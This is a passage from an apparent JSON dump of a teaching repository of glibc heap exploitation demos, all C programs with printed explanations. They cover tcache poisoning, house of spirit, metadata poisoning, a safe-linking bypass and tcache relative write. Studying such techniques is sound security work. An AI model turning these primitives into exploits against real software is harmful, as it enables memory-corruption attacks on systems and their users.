VULNERABILITY */\n\t((char *)victim2)[-8] = '\\x00';\n\t/* VULNERABILITY */\n\n\tputs(\"Now if we free victim, libc will think the fake chunk is a free chunk above victim\\n\"\n\t\t\t\"It will try to backward consolidate victim with our fake chunk by unlinking the fake chunk then\\n\"\n\t\t\t\"add the merged chunk into unsortedbin.\"\n\t\t\t);\n\tprintf(\"For our fake chunk, because of what we did in step4,\\n\"\n\t\t\t\"now P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P(%p)\\n\"\n\t\t\t\"so the unlink will succeed\\n\", ((void **)a3)[1], prev, ((void **)b2)[0], prev);\n\tfree(victim);\n\tputs(\"After freeing the victim, the new merged chunk is added to unsorted bin\"\n\t\t\t\"And it is overlapped with the prev chunk\");\n\n\t// step7: validate the chunk overlapping\n\tputs(\"Now let's validate the chunk overlapping\");\n\tvoid *merged = malloc(0x100);\n\tprintf(\"merged: malloc(0x100) = %p\\n\", merged);\n\tmemset(merged, 'A', 0x80);\n\tprintf(\"Now merged's content: %s\\n\", (char *)merged);\n\n\tputs(\"Overwrite prev's content\");\n\tmemset(prev2, 'C', 0x80);\n\tprintf(\"merged's content has changed to: %s\\n\", (char *)merged);\n\n\tassert(strstr(merged, \"CCCCCCCCC\"));\n}\n"
  },
  {
    "path": "glibc_2.35/safe_link_double_protect.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\n/* \n * This method showcases a blind bypass for the safe-linking mitigation introduced in glibc 2.32. \n * https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41\n * \n * NOTE: This requires 4 bits of bruteforce if the primitive is a write primitive, as the LSB will  \n * contain 4 bits of randomness. If you can increment integers, no brutefore is required.\n *\n * Safe-Linking is a memory protection measure using ASLR randomness to fortify single-linked lists. \n * It obfuscates pointers and enforces alignment checks, to prevent pointer hijacking in t-cache.\n *\n * When an entry is linked in to the t-cache, the address is XOR'd with the address that free is \n * called on, shifted by 12 bits. However if you were to link this newly protected pointer, it\n * would be XOR'd again with the same key, effectively reverting the protection. \n * Thus, by simply protecting a pointer twice we effectively achieve the following:\n *\t\n *                                  (ptr^key)^key = ptr\n *\n * The technique requires control over the t-cache metadata, so pairing it with a technique such as\n * house of water might be favourable.\n *\n * Technique by @udp_ctf - Water Paddler / Blue Water \n */\n\nint main(void) {\n\t// Prevent _IO_FILE from buffering in the heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\tsetbuf(stderr, NULL);\n\n\t// Create the goal stack buffer\n\tchar goal[] = \"Replace me!\";\n\tputs(\"============================================================\");\n\tprintf(\"Our goal is to write to the stack variable @ %p\\n\", goal);\n\tprintf(\"String contains: %s\\n\", goal);\n\tputs(\"============================================================\");\n\tputs(\"\\n\");\n\n\t// Step 1: Allocate\n\tputs(\"Allocate two chunks in two different t-caches:\");\n\t\n\t// Allocate two chunks of size 0x38 for 0x40 t-cache\n\tputs(\"\\t- 0x40 chunks:\");\n\tvoid *a = malloc(0x38);\n\tvoid *b = malloc(0x38);\n\tprintf(\"\\t\\t* Entry a @ %p\\n\", a);\n\tprintf(\"\\t\\t* Entry b @ %p\\n\", b);\n\n\t// Allocate two chunks of size 0x18 for 0x20 t-cache\n\tvoid *c = malloc(0x18);\n\tvoid *d = malloc(0x18);\n\tputs(\"\\t- 0x20 chunks:\");\n\tprintf(\"\\t\\t* Entry c @ %p\\n\", c);\n\tprintf(\"\\t\\t* Entry d @ %p\\n\", d);\n\tputs(\"\");\n\n\t// Step 2: Write an arbitrary value (or note the offset to an exsisting value)\n\tputs(\"Allocate a pointer which will contain a pointer to the stack variable:\");\n\n\t// Allocate a chunk and store a modified pointer to the 'goal' array.\n\tvoid *value = malloc(0x28);\n\t// make sure that the pointer ends on 0 for proper heap alignemnt or a fault will occur\n\t*(long *)value = ((long)(goal) & ~(0xf));\n\n\tprintf(\"\\t* Arbitrary value (0x%lx) written to %p\\n\", *(long*)value, value);\n\tputs(\"\");\n\n\t// Step 3: Free the two chunks in the two t-caches to make two t-cache entries in two different caches\n\tputs(\"Free the 0x40 and 0x20 chunks to populate the t-caches\");\n\n\tputs(\"\\t- Free 0x40 chunks:\");\n\t// Free the allocated 0x38 chunks to populate the 0x40 t-cache\n\tfree(a);\n\tfree(b);\n\tprintf(\"\\t\\t> 0x40 t-cache: [%p -> %p]\\n\", b, a);\n\n\tputs(\"\\t- Free the 0x20 chunks\");\n\t// Free the allocated 0x18 chunks to populate the 0x20 t-cache\n\tfree(c);\n\tfree(d);\n\tprintf(\"\\t\\t> 0x20 t-cache: [%p -> %p]\\n\", d, c);\n\tputs(\"\");\n\n\t// Step 4: Using our t-cache metadata control primitive, we will now execute the vulnerability\n\tputs(\"Modify the 0x40 t-cache pointer to point to the heap value that holds our arbitrary value, \");\n\tputs(\"by overwriting the LSB of the pointer for 0x40 in the t-cache metadata:\");\n\t\n\t// Calculate the address of the t-cache metadata\n\tvoid *metadata = (void *)((long)(value) & ~(0xfff));\n\n\t// Overwrite the LSB of the 0x40 t-cache chunk to point to the heap chunk containing the arbitrary value\n\t*(unsigned int*)(metadata+0xa0) = (long)(metadata)+((long)(value) & (0xfff));\n\n\tprintf(\"\\t\\t> 0x40 t-cache: [%p -> 0x%lx]\\n\", value, (*(long*)value)^((long)metadata>>12));\n\tputs(\"\");\n\n\tputs(\"Allocate once to make the protected pointer the current entry in the 0x40 bin:\");\n\tvoid *_ = malloc(0x38);\n\tprintf(\"\\t\\t> 0x40 t-cache: [0x%lx]\\n\", *(unsigned long*)(metadata+0xa0));\n\tputs(\"\");\n\n\t/* VULNERABILITY */\t\n\tputs(\"Point the 0x20 bin to the 0x40 bin in the t-cache metadata, containing the newly safe-linked value:\");\n\t*(unsigned int*)(metadata+0x90) = (long)(metadata)+0xa0;\n\tprintf(\"\\t\\t> 0x20 t-cache: [0x%lx -> 0x%lx]\\n\", (long)(metadata)+0xa0, *(long*)value);\n\tputs(\"\");\n\t/* VULNERABILITY */\t\n\n\t// Step 5: Allocate twice to allocate the arbitrary value\n\tputs(\"Allocate twice to gain a pointer to our arbitrary value\");\n\t\n\t_ = malloc(0x18);\n\tprintf(\"\\t\\t> First  0x20 allocation: %p\\n\", _);\n\t\n\tchar *vuln = malloc(0x18);\n\tprintf(\"\\t\\t> Second 0x20 allocation: %p\\n\", vuln);\n\tputs(\"\");\n\n\t// Step 6: Overwrite the goal string pointer and verify it has been changed\n\tstrcpy(vuln, \"XXXXXXXXXXX HIJACKED!\");\n\n\tprintf(\"String now contains: %s\\n\", goal);\t\n\tassert(strcmp(goal, \"Replace me!\") != 0);\n}\n"
  },
  {
    "path": "glibc_2.35/sysmalloc_int_free.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// target top chunk size that should be freed\n#define CHUNK_FREED_SIZE 0x150\n#define FREED_SIZE (CHUNK_FREED_SIZE-CHUNK_HDR_SZ)\n\n/**\n * Tested on:\n *  + GLIBC 2.39 (x86_64, x86 & aarch64)\n *  + GLIBC 2.34 (x86_64, x86 & aarch64)\n *  + GLIBC 2.31 (x86_64, x86 & aarch64)\n *  + GLIBC 2.27 (x86_64, x86 & aarch64)\n *\n * sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins,\n * which can be used to corrupt heap without needing to call free() directly.\n * This is achieved through sysmalloc calling _int_free to the top_chunk (wilderness),\n * if the top_chunk can't be merged during heap growth\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * This technique is used in House of Orange & Tangerine\n */\nint main() {\n  size_t allocated_size, *top_size_ptr, top_size, new_top_size, freed_top_size, *new, *old;\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_FREED_SIZE & MALLOC_MASK) == CHUNK_FREED_SIZE);\n\n  puts(\"Constants:\");\n  printf(\"chunk header \\t\\t= 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align \\t\\t= 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align \\t\\t= 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size \\t\\t= 0x%lx\\n\", FENCEPOST);\n  printf(\"freed size \\t\\t= 0x%lx\\n\", FREED_SIZE);\n\n  printf(\"target top chunk size \\t= 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_FREED_SIZE);\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  new = malloc(PROBE);\n  top_size = new[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size \\t\\t= 0x%lx\\n\", top_size);\n\n  // calculate allocated_size\n  allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE;\n  allocated_size &= PAGE_MASK;\n  allocated_size &= MALLOC_MASK;\n\n  printf(\"allocated size \\t\\t= 0x%lx\\n\\n\", allocated_size);\n\n  puts(\"1. create initial malloc that will be used to corrupt the top_chunk (wilderness)\");\n  new = malloc(allocated_size);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- initial malloc\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|      SIZE (0x%05lx)   |\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         top_size - 1,\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n  puts(\"2. corrupt the size of top chunk to be less, but still page aligned\");\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |   <- positive OOB (i.e. BOF)\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         TOP           |   <- corrupt size of top chunk (wilderness)\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|         ...           |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         new_top_size - 1,\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n\n  puts(\"3. create an allocation larger than the remaining top chunk, to trigger heap growth\");\n  puts(\"The now corrupt top_chunk triggers sysmalloc to call _init_free on it\");\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_FREED_SIZE);\n\n  old = new;\n  new = malloc(CHUNK_FREED_SIZE + 0x10);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          OLD          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         FREED         |   <- old top got freed because it couldn't be merged\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|       FENCEPOST       |   <- just some architecture depending padding\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          NEW          |   <- new malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\\n\",\n         old - 2,\n         top_size_ptr - 1,\n         freed_top_size,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE/SIZE_SZ),\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         new - (MALLOC_ALIGN / SIZE_SZ));\n\n  puts(\"...\\n\");\n\n  puts(\"?. reallocated into the freed chunk\");\n\n  old = new;\n  new = malloc(FREED_SIZE);\n\n  assert((size_t) old > (size_t) new);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- allocated into the freed chunk\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          OLD          |   <- old malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\",\n         new - 2,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE / SIZE_SZ),\n         old - (MALLOC_ALIGN / SIZE_SZ));\n}\n"
  },
  {
    "path": "glibc_2.35/tcache_house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates the house of spirit attack on tcache.\\n\");\n\tprintf(\"It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\\n\");\n\tprintf(\"You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\\n\");\n\tprintf(\"(Search for strings \\\"invalid next size\\\" and \\\"double free or corruption\\\")\\n\\n\");\n\n\tprintf(\"Ok. Let's start with the example!.\\n\\n\");\n\n\n\tprintf(\"Calling malloc() once so that it sets up its memory.\\n\");\n\tmalloc(1);\n\n\tprintf(\"Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\\n\");\n\tunsigned long long *a; //pointer that will be overwritten\n\tunsigned long long fake_chunks[10] __attribute__((aligned(0x10))); //fake chunk region\n\n\tprintf(\"This region contains one fake chunk. It's size field is placed at %p\\n\", &fake_chunks[1]);\n\n\tprintf(\"This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tprintf(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \\n\");\n\tfake_chunks[1] = 0x40; // this is the size\n\n\n\tprintf(\"Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\\n\", &fake_chunks[1]);\n\tprintf(\"... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\\n\");\n\n\ta = &fake_chunks[2];\n\n\tprintf(\"Freeing the overwritten pointer.\\n\");\n\tfree(a);\n\n\tprintf(\"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\\n\", &fake_chunks[1], &fake_chunks[2]);\n\tvoid *b = malloc(0x30);\n\tprintf(\"malloc(0x30): %p\\n\", b);\n\n\tassert((long)b == (long)&fake_chunks[2]);\n}\n"
  },
  {
    "path": "glibc_2.35/tcache_metadata_poisoning.c",
    "content": "#include <assert.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// Tcache metadata poisoning attack\n// ================================\n//\n// By controlling the metadata of the tcache an attacker can insert malicious\n// pointers into the tcache bins. This pointer then can be easily accessed by\n// allocating a chunk of the appropriate size.\n\n// By default there are 64 tcache bins\n#define TCACHE_BINS 64\n// The header of a heap chunk is 0x10 bytes in size\n#define HEADER_SIZE 0x10\n\n// This is the `tcache_perthread_struct` (or the tcache metadata)\nstruct tcache_metadata {\n  uint16_t counts[TCACHE_BINS];\n  void *entries[TCACHE_BINS];\n};\n\nint main() {\n  // Disable buffering\n  setbuf(stdin, NULL);\n  setbuf(stdout, NULL);\n\n  uint64_t stack_target = 0x1337;\n\n  puts(\"This example demonstrates what an attacker can achieve by controlling\\n\"\n       \"the metadata chunk of the tcache.\\n\");\n  puts(\"First we have to allocate a chunk to initialize the stack. This chunk\\n\"\n       \"will also serve as the relative offset to calculate the base of the\\n\"\n       \"metadata chunk.\");\n  uint64_t *victim = malloc(0x10);\n  printf(\"Victim chunk is at: %p.\\n\\n\", victim);\n\n  long metadata_size = sizeof(struct tcache_metadata);\n  printf(\"Next we have to calculate the base address of the metadata struct.\\n\"\n         \"The metadata struct itself is %#lx bytes in size. Additionally we\\n\"\n         \"have to subtract the header of the victim chunk (so an extra 0x10\\n\"\n         \"bytes).\\n\",\n         sizeof(struct tcache_metadata));\n  struct tcache_metadata *metadata =\n      (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size);\n  printf(\"The tcache metadata is located at %p.\\n\\n\", metadata);\n\n  puts(\"Now we manipulate the metadata struct and insert the target address\\n\"\n       \"in a chunk. Here we choose the second tcache bin.\\n\");\n  metadata->counts[1] = 1;\n  metadata->entries[1] = &stack_target;\n\n  uint64_t *evil = malloc(0x20);\n  printf(\"Lastly we malloc a chunk of size 0x20, which corresponds to the\\n\"\n         \"second tcache bin. The returned pointer is %p.\\n\",\n         evil);\n  assert(evil == &stack_target);\n}\n"
  },
  {
    "path": "glibc_2.35/tcache_poisoning.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n\t// disable buffering\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple tcache poisoning attack by tricking malloc into\\n\"\n\t\t   \"returning a pointer to an arbitrary location (in this case, the stack).\\n\"\n\t\t   \"The attack is very similar to fastbin corruption attack.\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\\n\"\n\t\t   \"An heap address leak is needed to perform tcache poisoning.\\n\"\n\t\t   \"The same patch also ensures the chunk returned by tcache is properly aligned.\\n\\n\");\n\n\tsize_t stack_var[0x10];\n\tsize_t *target = NULL;\n\n\t// choose a properly aligned target address\n\tfor(int i=0; i<0x10; i++) {\n\t\tif(((long)&stack_var[i] & 0xf) == 0) {\n\t\t\ttarget = &stack_var[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\tassert(target != NULL);\n\n\tprintf(\"The address we want malloc() to return is %p.\\n\", target);\n\n\tprintf(\"Allocating 2 buffers.\\n\");\n\tintptr_t *a = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", a);\n\tintptr_t *b = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", b);\n\n\tprintf(\"Freeing the buffers...\\n\");\n\tfree(a);\n\tfree(b);\n\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, a);\n\tprintf(\"We overwrite the first %lu bytes (fd/next pointer) of the data at %p\\n\"\n\t\t   \"to point to the location to control (%p).\\n\", sizeof(intptr_t), b, target);\n\t// VULNERABILITY\n\t// the following operation assumes the address of b is known, which requires a heap leak\n\tb[0] = (intptr_t)((long)target ^ (long)b >> 12);\n\t// VULNERABILITY\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, target);\n\n\tprintf(\"1st malloc(128): %p\\n\", malloc(128));\n\tprintf(\"Now the tcache list has [ %p ].\\n\", target);\n\n\tintptr_t *c = malloc(128);\n\tprintf(\"2nd malloc(128): %p\\n\", c);\n\tprintf(\"We got the control\\n\");\n\n\tassert((long)target == (long)c);\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.35/tcache_relative_write.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <malloc.h>\n\nint main(void)\n{\n    /*\n     * This document demonstrates TCache relative write technique\n     * Reference: https://d4r30.github.io/heap-exploit/2025/11/25/tcache-relative-write.html\n     *\n     * Objectives: \n     *   - To write a semi-arbitrary (or possibly fully arbitrary) value into an arbitrary location on heap\n     *   - To write the pointer of an attacker-controlled chunk into an arbitrary location on heap.\n     * \n     * Cause: UAF/Overflow\n     * Applicable versions: GLIBC >=2.30\n     *\n     * Prerequisites:\n     * \t - The ability to write a large value (>64) on an arbitrary location\n     * \t - Libc leak\n     * \t - Ability to malloc/free with sizes higher than TCache maximum chunk size (0x408)\n     *\n     * Summary: \n     * The core concept of \"TCache relative writing\" is around the fact that when the allocator is recording \n     * a tcache chunk in `tcache_perthread_struct` (tcache metadata), it does not enforce enough check and \n     * restraint on the computed tcachebin indice (`tc_idx`), thus WHERE the tcachebin count and head \n     * pointer will be written are not restricted by the allocator by any means. The allocator treats extended \n     * bin indices as valid in both `tcache_put` and `tcache_get` scenarios. If we're somehow able to write a \n     * huge value on one of the fields of mp_ (tcache_bins from malloc_par), by requesting \n     * a chunk size higher than TCache range, we can control the place that a **tcachebin pointer** and \n     * **counter** is going to be written. Considering the fact that a `tcache_perthread_struct` is normally \n     * placed on heap, one can perform a *TCache relative write* on an arbitrary point located after the tcache \n     * metadata chunk (Even on `tcache->entries` list to poison tcache metadata). By writing the new freed tcache \n     * chunk's pointer, we can combine this technique with other techniques like tcache poisoning or fastbin corruption \n     * and to trigger a heap leak. By writing the new counter, we can poison `tcache->entries`, write semi-arbitrary decimals\n     * into an arbitrary location of heap, with the right amount of mallocs and frees. With all these combined, one is \n     * able to create impactful chains of exploits, using this technique as their foundation.\n     *\n     * PoC written by D4R30 (Mahdyar Bahrami)\n     *\n    */\n\n    setbuf(stdout, NULL);\n    \n    printf(\"This file demonstrates TCache relative write, a technique used to achieve arbitrary decimal writing and chunk pointer arbitrary write on heap.\\n\");\n    printf(\"The technique takes advantage of the fact that the allocator does not enforce appropriate restraints on the computed tcache indices (tc_idx)\\n\");\n    printf(\"As a prerequisite, we should be capable of writing a large value (anything larger than 64) on an arbitrary location, which in our case is mp_.tcache_bins\\n\\n\");    \n\n    unsigned long *p1 = malloc(0x410);\t// The chunk that we can overflow or have a UAF on\n    unsigned long *p2 = malloc(0x100);\t// The target chunk used to demonstrate chunk overlap\n    size_t p2_orig_size = p2[-1];\n    \n    free(p1);\t// In this PoC, we use p1 simply for a libc leak\n\n    /* VULNERABILITY */\n\n    printf(\"First of all, you need to write a large value on mp_.tcache_bins, to bypass the tcache indice check.\\n\");\n    printf(\"This can be done by techniques that have unsortedbin attack's similar impact, like largebin attack, fastbin_reverse_into_tcache and house_of_mind_fastbins\\n\");\n    \n    // --- Step 1: Write a huge value into mp_.tcache_bins ---\n    // You should have the ability to write a huge value on an arbitrary location; this doesn't necessarily\n    // mean a full arbitrary write. Writing any value larger than 64 would suffice.\n    // This could be done in a program-specific way, or by a UAF/Overflow in target program. By a UAF/Overflow,\n    // you can use techniques like largebin attack, fastbin_reverse_into_tcache and house of mind (fastbins).\n\n    unsigned long *mp_tcache_bins = (void*)p1[0] - 0x918;   // Relative computation of &mp_.tcache_bins\n    printf(\"&mp_.tcache_bins: %p\\n\", mp_tcache_bins);\n\n    *mp_tcache_bins = 0x7fffffffffff;\t// Write a large value into mp_.tcache_bins\n    printf(\"mp_.tcache_bins is now set to a large value. This enables us to pass the only check on tc_idx\\n\\n\");\n\n    // Note: If we're also capable of making mp_.tcache_count a large value along with mp_.tcache_bins, we can\n    // trigger a fully arbitrary decimal writing. In the normal case, with just mp_tcache_bins set to a large value,\n    // what we can write into target is limited to a range of [0,7].  \n    printf(\"If you're also capable of setting mp_.tcache_count to a large value, you can possibly achieve a *fully* arbitrary write.\\n\");\n\n    /* END VULNERABILITY */\n\n    /*\n     * The idea is to craft a precise `tc_idx` such that, when it is used by `tcache_put`, the resulting write of \n     * tcachebin pointer and its counter occurs beyond the bounds of `tcache_perthread_struct` (which is on heap) \n     * and into our target location. This is done by requesting a chunk with the right amount of size and then \n     * freeing it. To compute the right size, we have to consider `csize2tidx` and the pointer arithmetic within \n     * `tcache_put` when it comes to indexing. The only check that can stop us from out-of-bounds writing is the \n     * `tc_idx < mp_.tcache_bins` check, which can get bypassed by writing a large value on `mp_.tcache_bins` (Which \n     * we already did in step 1)   \n    */\n\n    // --- Step 2: Compute the correct chunk size to malloc and then free --- \n    /*\n     * The next step is to acquire the exact chunk size (nb) we should malloc and free to trick tcache_put into \n     * writing the counter or pointer variable on the desired location.\n     * To precisely calculate the size, we first have to understand how a tc_idx (tcache index) is calculated. A tc_idx\n     * is computed by the csize2tidx macro. Here's its defenition:\n    \n      # define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)\n    \n     * If we let `nb` be the internal form of the freeing chunk size, `MALLOC_ALIGNMENT=0x10`, and `MINSIZE=0x20` then:\n     * tc_index = (nb - 0x20 + 0x10 -1) / 0x10 = (nb - 0x11) / 0x10\n     * Because tc_index is an integer: tc_index = (nb-16)/16 - 1\n     * So if `nb = 0x20` (least chunk size), then `tc_index = 0`, if `nb = 0x30`, then `tc_index = 1`, and so on.\n     * With some knowledge of C pointer arithmetic, we can predict the location of the tcachebin pointer & counter \n     * write, just by having `nb` on our hands:\n     \n     * unsigned long *ptr_write_loc = (void*)(&tcache->entries) + 8*tc_index = (void*)(&tcache->entries) + (nb-16)/2 - 8\n     * unsigned long *counter_write_loc = (void*)(&tcache->counts) + 2*tc_index = (void*)(&tcache->counts) + (nb-16)/8 - 2\n    \n     * Note: Here `tcache` is just symbol for a pointer to the heap-allocated `tcache_perthread_struct`\n     * In other words: \n     \n       * Location we want to overwrite with tcache pointer = tcache_entries location + (nb-16)/2 - 8\n       * Location we want to overwrite with the counter = tcache_counts location + (nb-16)/8 - 2\n     \n     * Note: To compute nb, you don't need to have absolute addresses for tcache_perthread_struct and the chosen location;\n     * only the difference between these two locations is required.\n     * So: \n         - For a chunk pointer arbitrary write: nb = 2*(delta+8)+16\n\t - For a counter arbitrary write: nb = 8*(delta+2)+16 \n     \n     * For example, if the tcache structure is allocated at `0x555555559000`, and you want to overwrite a half-word \n     * (`++counts[tc_index]`) at `0x5555555596b8`: \n     * delta = 0x5555555596b8 - (&tcache->counts) = 0x5555555596b8 - 0x555555559010 = 0x6a8\n     * Even if ASLR is on, the delta would always be `0x6a8`. So no heap-leak is required.\n    */\n\n    // --- Step 3: Combine with other techniques to create impactful attack chains ---\n    // In this PoC, we trigger a chunk overlapping and pointer arbitrary write to introduce the two main primitives.\n    //\n    // Note: Overlapping chunk attack & pointer arbitrary write are just two possible use cases here. You can come up with wide \n    // range of other possible attack chains, using tcache relative write as their foundation. It is obvious that you can \n    // write arbitrary decimal values, by requesting and freeing the same chunk multiple times; overlapping chunk attack is\n    // just one simple way to use that. \n\n    // ---------------------------------\n    // | Ex: Trigger chunk overlapping |\n    // ---------------------------------\n    // To see the counter arbitrary write in practice, let's assume that we want to write counter on p2->size and make chunk p2 \n    // a very large chunk, so that it overlaps the next chunks.   \n    // First of all, we need to compute delta, then put it into the formula we discussed to get nb.\n    printf(\"--- Chunk overlapping attack ---\\n\");\n    printf(\"Now, our goal is to make a large overlapping chunk. We already allocated two chunks: p1(%p) and p2(%p)\\n\", p1, p2);\n    printf(\"The goal is to corrupt p2->size to make it an overlapping chunk. The original usable size of p2 is: 0x%lx\\n\", p2_orig_size);\n    printf(\"To trigger tcache relative write in a way that p2->size is corrupted, we need to compute the exact chunk size(nb) to malloc and free\\n\");\n    printf(\"We use this formula: nb = 8*(delta+2)+16\\n\");\n\n    void *tcache_counts = (void*)p1 - 0x290; \t// Get tcache->counts\t\n    unsigned long delta = ((void*)p2 - 6) - tcache_counts;\n\n    // Based on the formula above: nb = 8*(delta+2)+16\n    unsigned long nb = 8*(delta+2)+16;\n\n    // That's it! Now we exactly know what chunk size we should request to trigger counter write on our target\n    unsigned long *p = malloc(nb-0x10);\t\n    \n    // Trigger TCache relative write\n    free(p);\n    \n    // Now lets see if p2's size is changed\n    assert(p2[-1] > p2_orig_size);\n    printf(\"p2->size after tcache relative write is: 0x%lx\\n\\n\", p2[-1]);\n\n    // Now we can free p2 and later recover it with a larger request\n    free(p2);\n    p = malloc(0x10100); \n\n    // Lets see if the new returned pointer equals p2 \n    assert(p == p2);\n\n    // -------------------------------------\n    // | Ex: Chunk pointer arbitrary write |\n    // -------------------------------------\n    // Now to further demonstrate the power of tcache-relative write, lets relative write a freeing chunk\n    // pointer into an arbitrary location. This can be used for tcache poisoning, fastbin corruption,  \n    // House of Lore, etc.\n    printf(\"--- Chunk pointer arbitrary write ---\\n\");\n    printf(\"To demonstrate the chunk pointer arbitrary write capability, our goal is to write a freeing chunk pointer at p2->fd\\n\");\n    printf(\"We use the formula nb = 2*(delta+8)+16\");\n\n    // Compute delta (The difference between &p1->fd and &tcache->entries)\n    void *tcache_entries = (void*)p1 - 